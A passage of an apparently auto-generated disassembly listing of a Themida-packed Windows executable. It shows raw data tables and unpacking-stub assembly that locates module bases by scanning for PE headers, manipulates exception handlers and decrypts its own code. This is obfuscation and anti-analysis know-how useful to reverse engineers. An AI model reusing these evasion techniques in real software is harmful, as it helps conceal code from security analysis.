77DDh, 4 dup(0) dd 93CB0000h, 33333344h, 2 dup(33333333h), 3333h, 2 dup(0) dd 0B170000h, 82768068h, 58h, 6 dup(0) dd 25Ah, 0 dd 0FFFF0000h, 0FFFFh, 0C96A0000h, 77D4h, 41CC0000h, 0 dd 8F7A0000h, 5Ah, 0F2F80000h, 57h, 9 dup(0) dd 8E030000h, 96C7h, 3 dup(0) dd 0BF040000h, 0DACh, 0 dd 0ED510000h, 6C34h, 0 dd 560F0000h, 5Bh, 0 dd 37FE0000h, 0FDFE005Bh, 0BFh, 0EE90000h, 2 dup(0) dd 0FF6D0000h, 0B5E2FFFFh, 8A0Fh, 3 dup(0) dd offset dword_540000 dd 10000000h, 40h, 2 dup(0) dd 5BD70000h, 6 dup(0) dd 80C30000h, 5Ah, 7 dup(0) dd 7BA40000h, 307Fh, 4 dup(0) dd 5AFC0000h, 1FFF005Ah, 27150000h, 62BD0057h, 0FA36h dd 10000h, 4005Bh, 0Ah dup(0) dd 20000h, 9 dup(0) dd 0A5BA0000h, 5163h, 0 dd 230000h, 0C4860057h, 61B377E7h, 0C553h, 12h dup(0) dd 0D53E0000h, 5Ah, 4 dup(0) dd 0C96A0000h, 0FFB077D4h, 30400F0h, 7FFEh, 3 dup(0) dd 0FFF00002h, 12h, 4 dup(0) dd 11980000h, 59h, 2 dup(0) dd 7CA20000h, 57h, 8E2B0000h, 5Ah, 9Fh, 0 dd 69DD0000h, 0A0h, 7 dup(0) dd 0D0000000h, 0D9A40256h, 15680057h, 904F00A1h, 57h, 0 dd 6BD80000h, 0 dd 21210000h, 2121h, 0 dd 94740000h, 4 dup(0) dd 0EE90000h, 0 dd 7B240000h, 743DFFA6h, 59h, 10000h, 5Bh, 6 dup(0) dd 74040000h, 59h, 4 dup(0) dd 0FCFC0000h, 8001h, 0 dd 660E0000h, 5F70B836h, 0E96A0000h, 5Ah, 11Dh dup(0) dd 5FF10000h, 0FF5Fh, 2 dup(0) dd 2E0F0000h, 77F5h, 0C7EA0000h, 0FF49h, 0 dd 200D0000h, 0D06C78h, 0F8930004h, 53h, 0E60000h, 0 dd 0EE90000h, 1C9C0000h, 0FFFFh, 2 dup(0) dd 20000h, 4 dup(0) dd 1F4D0000h, 85h, 69DD0000h, 0A0h, 6 dup(0) dd 0A00F0000h, 0A0h, 5 dup(0) dd 25Bh, 19h dup(0) dd 230000h, 57h, 0 dd 23400000h, 14h, 0 dd 0EC540000h, 57h, 0 dd 230000h, 57h, 4 dup(0) dd 0A00F0000h, 0A0h, 0 dd 690000h, 102h, 4 dup(0) dd 76680000h, 58h, 0 dd 49060000h, 1FFF37B5h, 180B0000h, 77F5h, 0 dd 0A8370000h, 251577E7h, 58h, 4 dup(0) dd 0ED510000h, 6C34h, 3040000h, 7FFEh, 5 dup(0) dd 1B400000h, 6DE676B4h, 0FAC8h, 7 dup(0) dd 382D0040h, 59h, 0 dd 69E0000h, 54h, 0DD300000h, 0C4F7h, 3 dup(0) dd 904F0000h, 0FCFC0057h, 8001h, 94280000h, 0FFFFh, 2 dup(0) dd 3DC0000h, 3 dup(0) dd offset dword_4FF844+7BCh dd 3 dup(0) dd 0A80000h, 2 dup(0) dd 69DD0000h, 0A0h, 9 dup(0) dd 3040000h, 0FC27FFEh, 0FF50h, 0 dd 41920000h, 0B9F40212h, 0C6000056h, 0B80C0003h, 79h dd 2 dup(0) dd 5420000h, 59h, 0 dd 59A90000h, 5Ah, 0 dd 0E800000h, 0CBF00000h, 0E025h, 0 dd 3040000h, 7FFEh, 5 dup(0) dword_540000 dd 9 dup(0) ; DATA XREF: Themida_:0053F60Co dd 0A00F0000h, 0A0h, 18h dup(0) dd 24A20000h, 57h, 3 dup(0) dd 190000h, 0AC040000h, 65320000h, 57h, 2 dup(0) dd 86FE0000h, 6D5Eh, 59740000h, 8655h, 76CD0000h, 77E7h dd 0EE90000h, 70C40000h, 0A0h, 8D8D0000h, 0A909h, 4 dup(0) dd 9E6B0000h, 9C5791h, 0 dd 0C9A90000h, 0CB2341Ch, 0 dd 76680000h, 58h, 3 dup(0) dd 22D80000h, 69DD00A1h, 0A0h, 0 dd 8B9C0000h, 2B4Fh, 4 dup(0) dd 0E0B30000h, 0FF7Ah, 6 dup(0) dd 6BD80000h, 0DB300000h, 56DD2E16h, 0 dd 31450000h, 100A0h, 0 dd 660E0000h, 0B836h, 7F9E0000h, 7 dup(0) dd 0B0AA0000h, 57h, 4 dup(0) dd 0B2830000h, 57h, 0A6E90000h, 77EBh, 527E0000h, 58h dd 780000h, 4 dup(0) dd 0FA560000h, 0A0h, 3040000h, 7FFEh, 2 dup(0) dd 3C0B0000h, 2 dup(0) dd 0CD890000h, 4490h, 0ABCF0000h, 5Ah, 4 dup(0) dd 32100000h, 130h, 4 dup(0) dd 37A60000h, 0FE09h, 4 dup(0) dd 24CF0000h, 54h, 0Bh dup(0) dd 3040000h, 17FFEh, 9F70000h, 5CB500A0h, 77E7h, 2 dup(0) dd 0A00F0000h, 30C800A0h, 4DAFB582h, 5A88h, 2 dup(0) dd 0BF0000h, 9 dup(0) dd 6DE60000h, 0FAC8h, 37DD0000h, 3 dup(0) dd 2AE40000h, 59h, 0AD310000h, 3A89h, 0EF3B0000h, 57h dd 2 dup(0) dd 77D4h, 22920000h, 0C36000A0h, 3E3B0058h, 0A0h, 0Ah dup(0) dd 527E0000h, 58h, 4 dup(0) dd 10000000h, 8D8D0000h, 78B2A909h, 593h, 8 dup(0) dd 0D4730000h, 58h, 6 dup(0) dd 69460000h, 57h, 0 dd 9Fh, 10000h, 6 dup(0) dd 0F0000000h, 89B97FFDh, 63DC7EA8h, 57h, 7 dup(0) dd 0F9620000h, 2765FFABh, 57h, 0 dd 8C0A0000h, 0A0h, 1Ah dup(0) dd 6CEB0000h, 2 dup(0) dd 34300000h, 312Dh, 5 dup(0) dd 45FE0000h, 1050058h, 0A28h, 0F9D50000h, 3040EB8h, 7FFEh dd 2 dup(0) dd 6D710000h, 4 dup(0) dd 32680000h, 30DF00A1h, 50A9C5h, 24BC0000h, 57h, 3 dup(0) dd 73840000h, 0B0E2h, 259h, 4 dup(0) dd 700000h, 0 dd 712C0000h, 4 dup(0) dd 5910000h, 77E8h, 4 dup(0) dd 0B9F40000h, 56h, 2 dup(0) dd 0A5FD0000h, 30477E7h, 7FFEh, 8EA50000h, 97Dh, 0 dd 99950000h, 0A4h, 3 dup(0) dd 4FFD0000h, 59h, 7 dup(0) dd 10000h, 0 dd 16EB0000h, 4 dup(0) dd 0F0620000h, 53h, 21BD0000h, 0F0047593h, 5Bh, 6 dup(0) dd 50240000h, 77FCh, 3 dup(0) dd 9F080000h, 5Ah, 3 dup(0) dd 69E0000h, 54h, 84F20000h, 5Bh, 3 dup(0) dd 9F70000h, 527E00A0h, 0B97C0058h, 618005Ah, 77E8h, 4 dup(0) dd 10000h, 0 dd 77F5h, 4 dup(0) dd 6BD80000h, 5 dup(0) dd 1500000h, 96C0h, 4 dup(0) dd 5FE90000h, 0 dd 23D70000h, 77DDh, 3 dup(0) dd 69C40000h, 0 dd 4BE00000h, 8C0A005Ah, 382D00A0h, 59h, 3 dup(0) dd 0FF3C0000h, 0EBB3FFFFh, 177F7h, 7 dup(0) dd 3040000h, 7FFEh, 2 dup(0) dd 34970000h, 1585h, 2 dup(0) dd 20000h, 0 dd 9FD10000h, 57h, 5 dup(0) dd 81870000h, 553Fh, 0 dd 30380000h, 4 dup(0) dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 10000h, 2 dup(0) dd 6BD80000h, 6 dup(0) dd 78A0000h, 58h, 0 dd 93FB0000h, 56h, 2 dup(0) dd 11110000h, 62CA1111h, 0AEEh, 0 dd 0A13F0000h, 7F1A77E7h, 0EF86h, 7 dup(0) dd 10000h, 3 dup(0) dd 3F2C0000h, 2FE8FFFFh, 1BAD77E8h, 643Dh, 5 dup(0) dd 8C6B0000h, 0A0h, 27DC0000h, 1A3Fh, 5 dup(0) dd 15400000h, 7000A1h, 8 dup(0) dd 25Ah, 3 dup(0) dd 980000h, 20000h, 2 dup(0) dd 0D4310000h, 0EBB0h, 0 dd 0FFFF0000h, 0FFFFh, 2 dup(0) dd 0FF540000h, 189A0012h, 0FF3A77DDh, 4C190053h, 7BE9h dd 273D0000h, 57h, 5 dup(0) dd 5AF80000h, 0 dd 9BAC0000h, 6DE600A2h, 3B60FAC8h, 54D8h, 3A430000h, 755F6D5Ch dd 6361706Eh, 72656Bh, 80h dup(0) dd 9F950000h, 57h, 0Ah dup(0) dd 56430000h, 4 dup(0) dd 20720000h, 7C27h, 5 dup(0) dd 200000h, 0FFEDh, 0 dd 0F3EF0000h, 447Bh, 0BAD60000h, 0FFE9h, 2 dup(0) dd 0D7060000h, 77E6h, 5D40000h, 886D93h, 0C1C50000h, 0FF5Fh dd 2 dup(0) dd 22220000h, 22222222h, 2222h, 2 dup(0) dd 2C810000h, 54h, 59790000h, 5Ah, 0 dd 69E0000h, 8B820054h, 77E7h, 0 dd 0BFE10000h, 5Ah, 7B0E0000h, 678Ah, 0D4140000h, 560FECF9h dd 73A7005Bh, 59h, 0 dd 3040000h, 7FFEh, 0 dd 0B4300000h, 3AF0h, 0E26C028Ah, 57h, 4 dup(0) dd 9F080000h, 5Ah, 0 dd 0D1870000h, 58h, 2 dup(0) dd 24BE0000h, 0FCFC0059h, 8001h, 5 dup(0) dd 0FF600000h, 12h, 2 dup(0) dd 0FFDD0000h, 304A5AEh, 7FFEh, 6 dup(0) dd 0FFFF0000h, 4 dup(0) dd 0B7000000h, 3045163h, 7FFEh, 9 dup(0) dd 0D7C70000h, 57h, 3 dup(0) dd 3C620000h, 8D6AFA3Bh, 4CE2h, 4 dup(0) dd 0FCFh, 0 dd 8D8D0000h, 0A909h, 2 dup(0) dd 0FE60000h, 9Fh, 0 dd 0BD7A0000h, 335777E9h, 9AC7920h, 0A0h, 2 dup(0) dd 9FB80000h, 0FFFFh, 3 dup(0) dd 14130000h, 0C1C40000h, 0FFFCh, 40000h, 0B6990000h, 54h dd 2 dup(0) dd 35B0000h, 3 dup(0) dd 241h, 3 dup(0) dd 0F5EB0000h, 0Fh dup(0) dd 0FF3A0000h, 0F36C0053h, 58h, 5060000h, 54h, 0 dd 0A00F0000h, 0A0h, 3 dup(0) dd 8B5F0000h, 9 dup(0) dd 0EDC60000h, 3A00057h, 2 dup(0) dd 0C2990000h, 2ABF1ABBh, 8D8D005Bh, 59F07057h, 77DDh dd 2 dup(0) dd 740000h, 0 dd 0F5EB0000h, 14h, 30DF0000h, 2988A9C5h, 54h, 0Ch dup(0) dd 0E90000h, 4, 0 dd 0FFBF0000h, 0FFFFh, 9 dup(0) dd 69DD0000h, 0A0h, 0Eh dup(0) dd 894A0000h, 5Ah, 12h dup(0) dd 98ED0000h, 0A00057h, 3 dup(0) dd 19810000h, 4 dup(0) dd 0D5540000h, 9Fh, 3 dup(0) dd 900000h, 3040000h, 7FFEh, 0 dd 6F700000h, 5Bh, 0 dd 6CB80000h, 249h, 65320000h, 390057h, 0DFC60000h, 0AD60h dd 2 dup(0) dd 21680000h, 0EDF577E8h, 0FFEFh, 2 dup(0) dd 0C00000h, 11h dup(0) dd 0B1340000h, 3BF100A2h, 3 dup(0) dd 0A00F0000h, 0A0h, 24240000h, 2424h, 2 dup(0) dd 904F0000h, 57h, 221000B7h, 2 dup(0) dd 0F5400000h, 0D5B5h, 4 dup(0) dd 2540000h, 0EE977F5h, 2 dup(0) dd 0FFFF0000h, 0FFA4h, 21060000h, 840E1Ah, 9FF40000h, 0FFFFh dd 92340000h, 54200A0h, 59h, 0 dd 715E0000h, 4 dup(0) dd 0E59A0000h, 514Fh, 13h dup(0) dd 5060000h, 0FF3A0054h, 53h, 3 dup(0) dd 3A430000h, 4E49575Ch, 53574F44h, 7379535Ch, 336D6574h dd 44415C32h, 49504156h, 642E3233h, 6C6Ch, 39h dup(0) dd 6DE60000h, 0FF3AFAC8h, 0A55D0053h, 3C12h, 3 dup(0) dd 7D10000h, 0 dd 65320000h, 57h, 8 dup(0) dd 3BF10000h, 8 dup(0) dd 1A640000h, 0C426h, 94990000h, 0C600A0h, 0FFACh, 2 dup(0) dd 4DAF0000h, 5A88h, 11h dup(0) dd 6BD80000h, 3 dup(0) dd 0B2110000h, 0C833h, 81CF0000h, 0B8CCh, 5 dup(0) dd 6BC90000h, 0 dd 0D0570000h, 59h, 0Eh dup(0) dd 6DE30000h, 82C25F7Bh, 0B924h, 0 dd 69DD0000h, 0A0h, 5CB50000h, 77E7h, 3040000h, 7FFEh dd 5 dup(0) dd 2B80000h, 0FF4Ch, 5 dup(0) dd 7ECC0000h, 57h, 0Ah dup(0) dd 62CA0000h, 0AEEh, 5 dup(0) dd 0FF3A0000h, 27DC0053h, 1A3Fh, 2 dup(0) dd 23E80000h, 0A1h, 0 dd 10000h, 9C000000h, 0FD9Bh, 0Eh dup(0) dd 0F8590000h, 0FFA7h, 2 dup(0) dd 3040000h, 7FFEh, 3 dup(0) dd 71D70000h, 77ECh, 8 dup(0) dd 9460000h, 2 dup(0) dd 36360000h, 3636h, 3 dup(0) dd 9A480000h, 56h, 25Ch, 2 dup(0) dd 0F8920000h, 53h, 6 dup(0) dd 10000h, 0 dd 99370000h, 2538h, 0 dd 20000000h, 1Ch, 0 dd 0F2760000h, 5Ah, 2BDE0000h, 0B9F400A0h, 0A00F0056h dd 0A400A0h, 0 dd 66D90000h, 80A2h, 2 dup(0) dd 77BF0000h, 0 dd 3040000h, 602C7FFEh, 3 dup(0) dd 0CFC80000h, 0E088h, 0 dd 71C70000h, 7A99h, 77DDh, 3 dup(0) dd 40300000h, 0C121h, 5 dup(0) dd 3040000h, 7FFEh, 0D05E0000h, 58h, 0Ah dup(0) dd 0FFB00000h, 190h, 4 dup(0) dd 33BB0000h, 0A814CFh, 3040000h, 0F9627FFEh, 0FFABh, 82A10000h dd 0E73Bh, 9Fh, 2 dup(0) dd 6C1A0000h, 5 dup(0) dd 2AE40000h, 59h, 2 dup(0) dd 0B5E20000h, 8A0Fh, 840000h, 11h dup(0) dd 10000h, 0 dd 69DD0000h, 0A0h, 20000h, 2 dup(0) dd 904F0000h, 3B3A0057h, 5Ah, 6CEB0000h, 33A90000h, 3E689826h dd 77E8h, 0 dd 98EF0000h, 57h, 5920000h, 5 dup(0) dd 69DD0000h, 0A0h, 30DF0000h, 8B5FA9C5h, 10000h, 0A0D40000h dd 0FFFFh, 3 dup(0) dd 6B8C0000h, 0FFFFh, 0 dd 3040000h, 7FFEh, 2 dup(0) dd 69E0000h, 0AC5E0054h, 77E7h, 0BFD00000h, 3EDEh, 2 dup(0) dd 6BD70000h, 249h, 230000h, 57h, 9 dup(0) dd 0AF440000h, 2 dup(0) dd 3040000h, 0A1447FFEh, 77E7h, 0 dd 6CB0000h, 5120h, 0 dd 14AA0000h, 54h, 2 dup(0) dd 56430000h, 0 dd 9C370000h, 0A0h, 1DD20000h, 0FFFFh, 0DE760000h, 100AFh dd 3 dup(0) dd 0F5AF0000h, 0FFFFh, 2 dup(0) dd 0B17E0000h, 4 dup(0) dd 0A8370000h, 77E7h, 15h dup(0) dd 7FE10000h, 70008056h, 0CE700003h, 0FFFCFFA7h, 5Bh, 0 dd 0FFC40000h, 12h, 96230000h, 0FF5Fh, 2Bh dup(0) dd 10000h, 0 dd 42B90000h, 0DC2Ch, 4 dup(0) dd 0A5E70000h, 0A4h, 0Ah dup(0) dd 74000000h, 106h, 6 dup(0) dd 6F740000h, 0 dd 0C1D30000h, 1, 2 dup(0) dd 0ED510000h, 6C34h, 3 dup(0) dd 69200000h, 307Ch, 0 dd 0A51C0000h, 2 dup(0) dd 0FF3C0000h, 0F004FFFFh, 5C51005Bh, 939Ch, 4 dup(0) dd 10000h, 0FFA40000h, 69DD0012h, 283500A0h, 72Eh, 15600000h dd 0A1h, 7 dup(0) dd 93EF0000h, 810377E7h, 0 dd 0FEC30000h, 0EC54005Bh, 57h, 7 dup(0) dd 0DB8E0000h, 57h, 7Fh dup(0) dd 0A00F0000h, 0A0h, 3 dup(0) dd 35100000h, 3EFFA5h, 0BFh, 0F8C0000h, 5 dup(0) dd 697A0000h, 0BB68h, 2 dup(0) dd 0FB2C0000h, 1068h, 2Ah dup(0) dd 69E0000h, 54h, 4 dup(0) dd 1000000h, 23040000h, 0FFFFh, 65320000h, 57h, 0AEh, 2 dup(0) dd 74A10000h, 0FFFFh, 80000h, 8C0031h, 7 dup(0) dd 8B640000h, 47FFh, 2 dup(0) dd 35F60000h, 5Bh, 8 dup(0) dd 0AC830000h, 120Ch, 0 dd 9E640000h, 0FFFFh db 2 dup(0) ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_541EC6: ; CODE XREF: start:loc_53EBA5j mov eax, ebp mov edx, esp pusha call $+5 pop ebp sub ebp, 5E7332Bh mov [ebp+5E72D79h], edx mov [ebp+5E712DDh], esi mov [ebp+5E70BD9h], eax cmp dword ptr [ebp+5E716A1h], 0 jz short loc_541EFE mov ebp, eax mov esp, edx mov eax, 1 retn 0Ch ; --------------------------------------------------------------------------- loc_541EFE: ; CODE XREF: start+61EDCj mov eax, [esp+40h+var_1C] mov [ebp+5E71169h], eax push 45h call sub_541FB2 push 783749Ah call sub_541FF8 push 0A894B25h call sub_541FF8 jmp loc_54213C ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 48474645h, 4C4B4A49h, 504F4E4Dh, 54535251h, 58575655h dd 5C5B5A59h, 605F5E5Dh, 64636261h, 68676665h, 6C6B6A69h dd 706F6E6Dh, 74737271h, 78777675h, 7C7B7A79h, 807F7E7Dh dd 84838281h, 88878685h, 8C8B8A89h, 908F8E8Dh, 94939291h dd 98979695h, 9C9B9A99h, 0A09F9E9Dh, 0A4A3A2A1h, 0A8A7A6A5h dd 0ACABAAA9h, 0B0AFAEADh, 0B4B3B2B1h, 0B8B7B6B5h, 0BCBBBAB9h dd 0C0BFBEBDh, 0C3C2C1h, 2 dup(0) db 2 dup(0) ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541FB2 proc near ; CODE XREF: start+61EF6p var_28 = dword ptr -28h var_24 = dword ptr -24h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFFD8h pusha call $+5 pop edx sub edx, 5E73419h mov ebx, edx mov [ebp+var_28], 0 loc_541FCE: ; CODE XREF: sub_541FB2+39j mov eax, [ebp+var_28] inc eax mov [ebp+var_28], eax cmp [ebp+var_28], 80h jz short loc_541FED mov eax, [ebp+arg_0] mov [ebx+5E73383h], eax inc [ebp+arg_0] inc ebx jmp short loc_541FCE ; --------------------------------------------------------------------------- loc_541FED: ; CODE XREF: sub_541FB2+2Aj mov [ebp+var_24], eax popa mov eax, [ebp+var_24] leave retn 4 sub_541FB2 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_541FF8 proc near ; CODE XREF: start+61F00p start+61F0Ap var_84 = dword ptr -84h var_80 = byte ptr -80h arg_0 = dword ptr 8 push ebp mov ebp, esp add esp, 0FFFFFF7Ch pusha call $+5 pop edx sub edx, 5E73462h lea eax, [ebp+var_80] mov ebx, [ebp+arg_0] mov [ebp+var_84], 0 loc_54201E: ; CODE XREF: sub_541FF8+41j mov ecx, [ebp+var_84] rol ebx, 1 mov [eax], bl inc ecx mov [ebp+var_84], ecx cmp [ebp+var_84], 80h jnz short loc_54201E mov [ebp+var_84], 0 lea edi, [edx+5E73383h] lea esi, [ebp+var_80] loc_54204E: ; CODE XREF: sub_541FF8+83j mov cl, [esi] mov ebx, 1F4h mov eax, 785437ABh loc_54205A: ; CODE XREF: sub_541FF8+69j rcl eax, cl mov cl, [edi] rcl eax, cl dec ebx jnz short loc_54205A imul eax, ebx inc edi inc esi mov ecx, [ebp+var_84] inc ecx mov [ebp+var_84], ecx cmp ecx, 80h jnz short loc_54204E popa leave retn 4 sub_541FF8 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp add esp, 0FFFFFFF0h mov esi, [ebp+8] mov dword ptr [ebp-4], 0 jmp short loc_542098 ; --------------------------------------------------------------------------- loc_542094: ; CODE XREF: Themida_:0054209Bj inc dword ptr [ebp-4] inc esi loc_542098: ; CODE XREF: Themida_:00542092j cmp byte ptr [esi], 0 jnz short loc_542094 mov edx, 0 mov esi, [ebp+8] mov edi, [ebp+0Ch] jmp short loc_542129 ; --------------------------------------------------------------------------- loc_5420AA: ; CODE XREF: Themida_:0054212Cj mov dword ptr [ebp-8], 0 jmp short loc_542120 ; --------------------------------------------------------------------------- loc_5420B3: ; CODE XREF: Themida_:00542124j mov dword ptr [ebp-10h], 0 mov dword ptr [ebp-0Ch], 0 jmp short loc_54210D ; --------------------------------------------------------------------------- loc_5420C3: ; CODE XREF: Themida_:00542111j shl dword ptr [ebp-10h], 4 mov eax, [ebp-8] shl eax, 1 add eax, edx add eax, [ebp-0Ch] xor ebx, ebx mov bl, [eax+esi] cmp bl, 30h jb short loc_5420E5 cmp bl, 39h ja short loc_5420E5 sub bl, 30h jmp short loc_542107 ; --------------------------------------------------------------------------- loc_5420E5: ; CODE XREF: Themida_:005420D9j ; Themida_:005420DEj cmp bl, 61h jb short loc_5420F7 cmp bl, 66h ja short loc_5420F7 sub bl, 61h add bl, 0Ah jmp short loc_542107 ; --------------------------------------------------------------------------- loc_5420F7: ; CODE XREF: Themida_:005420E8j ; Themida_:005420EDj cmp bl, 41h jb short loc_542107 cmp bl, 46h ja short loc_542107 sub bl, 41h add bl, 0Ah loc_542107: ; CODE XREF: Themida_:005420E3j ; Themida_:005420F5j ... add [ebp-10h], ebx inc dword ptr [ebp-0Ch] loc_54210D: ; CODE XREF: Themida_:005420C1j cmp dword ptr [ebp-0Ch], 2 jb short loc_5420C3 cmp dword ptr [ebp-10h], 0 jbe short loc_54211D mov eax, [ebp-10h] stosb loc_54211D: ; CODE XREF: Themida_:00542117j inc dword ptr [ebp-8] loc_542120: ; CODE XREF: Themida_:005420B1j cmp dword ptr [ebp-8], 2 jb short loc_5420B3 add edx, 4 loc_542129: ; CODE XREF: Themida_:005420A8j cmp edx, [ebp-4] jb loc_5420AA mov al, 0 stosb mov eax, [ebp-4] leave retn 8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54213C: ; CODE XREF: start+61F0Fj mov ecx, 7000h lea edi, [ebp+5E735A8h] loc_542147: ; CODE XREF: start+62137j dec byte ptr [edi] inc edi dec ecx jnz short loc_542147 mov eax, 48692121h mov edx, 0F00E0000h sub edx, 0F0000000h lea eax, [ebp+5E7368Dh] push eax push large dword ptr fs:0 mov large fs:0, esp call $+5 pop eax mov bh, 97h jz loc_54218C jl loc_54218C adc ebx, 2E854225h loc_54218C: ; CODE XREF: start+62166j start+6216Cj sub eax, edx cmc and eax, 0FFFFF000h jmp loc_5421A5 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- db 99h, 0CAh, 3 dd 14B261F5h, 385E1235h db 97h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5421A5: ; CODE XREF: start+62180j mov ecx, edx xor edi, edi loc_5421A9: ; CODE XREF: start+621B0j cmp word ptr [eax], 5A4Dh jnz short loc_5421BE movzx edx, word ptr [eax+3Ch] add edx, eax cmp dword ptr [edx], 4550h jz short loc_5421C6 loc_5421BE: ; CODE XREF: start+6219Aj sub eax, 1000h inc edi jmp short loc_5421A9 ; --------------------------------------------------------------------------- loc_5421C6: ; CODE XREF: start+621A8j pop large dword ptr fs:0 add esp, 4 lea edx, [ebp+5E736A0h] push edx push large dword ptr fs:0 mov large fs:0, esp add eax, ecx sub eax, 1000h mov esi, [eax+4] and esi, 0FFFF0000h cmp esi, 80000000h jbe short loc_542200 mov esi, [eax+1Ch] loc_542200: ; CODE XREF: start+621E7j xor eax, eax loc_542202: ; CODE XREF: start+62201j cmp eax, 32h jz short loc_542226 cmp word ptr [esi], 5A4Dh jz short loc_542217 loc_54220E: ; CODE XREF: start+62210j sub esi, 10000h inc eax jmp short loc_542202 ; --------------------------------------------------------------------------- loc_542217: ; CODE XREF: start+621F8j mov edi, [esi+3Ch] add edi, esi cmp dword ptr [edi], 4550h jz short loc_542268 jmp short loc_54220E ; --------------------------------------------------------------------------- loc_542226: ; CODE XREF: start+621F1j pop large dword ptr fs:0 add esp, 4 popa retn ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 8B51h dd 8110244Ch, 0B0A9h, 100000h, 0C0335900h, 4C8B51C3h, 0E8551024h dd 0 dd 0ABED815Dh, 8D05E736h, 0E7366985h, 0B8818905h, 5D000000h dd 0C3C03359h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_542268: ; CODE XREF: start+6220Ej xchg eax, esi pop large dword ptr fs:0 add esp, 4 mov bx, 5F11h jmp loc_54228A ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 4AD2DB64h, 3FE4CBF0h, 0F0E611DEh db 57h, 0F3h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54228A: ; CODE XREF: start+62263j mov cx, ds mov bl, 0C8h and cl, 4 mov ebx, 40C7F28Eh jmp loc_5422A3 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 4826CC7Dh db 54h, 22h, 0A1h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5422A3: ; CODE XREF: start+62283j or cl, cl jnz loc_5422F6 or ebx, 450FB034h mov dword ptr [ebp+5E72B8Dh], 1 mov bx, 8C80h jmp loc_542303 ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Dh, 0C3C35747h dd 2150EEB2h, 0E31E249Eh, 7800F40h, 50000000h, 0CBBA2ABBh db 34h, 5Bh ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_5422F6: ; CODE XREF: start+62291j mov dword ptr [ebp+5E72B8Dh], 0 movzx ebx, dx loc_542303: ; CODE XREF: start+622ABj mov [ebp+5E70899h], eax jmp loc_54231E ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 9329h dd 0B75A47Ah, 699BB7Dh, 26EEF067h db 0Ah, 54h ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR start loc_54231E: ; CODE XREF: start+622F5j mov [ebp+5E72B05h], eax call sub_54233A sbb eax, 0E3CAD01h popa push ebp dec edx pop ecx ; END OF FUNCTION CHUNK FOR start ; --------------------------------------------------------------------------- dw 0B7FEh dd 5A7BAFFAh db 68h, 84h ; =============== S U B R O U T I N E ======================================= sub_54233A proc near ; CODE XREF: start+62310p mov bx, cx pop edi mov ebx, eax add edi, 5CF2h push 1715h adc eax, 5D3AC93Ch pop ecx sub edx, 6F6A791Fh loc_542358: ; CODE XREF: sub_54233A+83j mov esi, [edi] mov eax, ecx xor esi, 796D5D64h mov ah, bl add esi, 6717C520h jb loc_542376 sbb edx, 75C54A67h loc_542376: ; CODE XREF: sub_54233A+30j add esi, 33012BB2h mov bx, 52A0h push esi mov dx, 0E9DFh pop dword ptr [edi] mov ebx, 7142E8C8h sub edi, 30630D8Bh jmp loc_54239C ; --------------------------------------------------------------------------- db 1Bh dd 268481C0h ; --------------------------------------------------------------------------- loc_54239C: ; CODE XREF: sub_54233A+58j add edi, 30630D87h mov al, 0ECh sub ecx, 1 jnz loc_5423BA mov al, 0FAh jmp loc_5423CB ; CODE XREF: sub_54233A+9Aj ; --------------------------------------------------------------------------- dd 2F7172BDh db 9Bh, 57h ; --------------------------------------------------------------------------- loc_5423BA: ; CODE XREF: sub_54233A+6Dj movzx eax, dx jmp loc_542358 ; --------------------------------------------------------------------------- dw 0E059h dd 0B185F4CBh db 0A1h, 0FFh, 3Bh ; --------------------------------------------------------------------------- loc_5423CB: ; CODE XREF: sub_54233A+75j call sub_5423D7 db 3Eh pushf sub al, 0D1h jg short near ptr loc_5423AF+1 xchg eax, ebx sub_54233A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_5423D7 proc near ; CODE XREF: sub_54233A:loc_5423CBp mov edx, ebx pop ebx jmp loc_5423E8 ; --------------------------------------------------------------------------- db 8 dd 0D0410F4Bh, 2D1695ADh ; --------------------------------------------------------------------------- loc_5423E8: ; CODE XREF: sub_5423D7+3j add ebx, 5F41h movsx edx, di push 17A5h movzx edi, dx pop esi jno loc_542402 mov dl, 66h loc_542402: ; CODE XREF: sub_5423D7+23j ; sub_5423D7:loc_542471j mov ecx, [ebx] mov eax, edi xor ecx, 4C45F241h mov dx, ax xor ecx, 2E22ADF1h jnz loc_542420 add ax, 79A0h loc_542420: ; CODE XREF: sub_5423D7+3Ej xor ecx, 21CEE28Eh mov [ebx], ecx sbb ax, 7F71h sub ebx, 37F54BA4h mov di, 5D6Fh add ebx, 37F54BA0h clc dec esi jnz loc_54245D mov edx, ebx jmp loc_542481 ; --------------------------------------------------------------------------- dd 3CA2E8DFh, 3E77CA35h, 9A34841Fh, 0D7DB87A3h db 0C2h ; --------------------------------------------------------------------------- loc_54245D: ; CODE XREF: sub_5423D7+68j jmp loc_542471 ; --------------------------------------------------------------------------- aCrglZ3U db 'CrG«!',27h,'œ§^;3*ãì',0 ; --------------------------------------------------------------------------- loc_542471: ; CODE XREF: sub_5423D7:loc_54245Dj jmp loc_542402 ; --------------------------------------------------------------------------- dw 0F1CCh dd 6C33A553h, 60E45EA6h db 0DDh ; --------------------------------------------------------------------------- loc_542481: ; CODE XREF: sub_5423D7+70j jmp loc_542B68 ; --------------------------------------------------------------------------- dw 8B60h dd 0E718019Dh, 79858905h, 6105E700h, 217h, 19h, 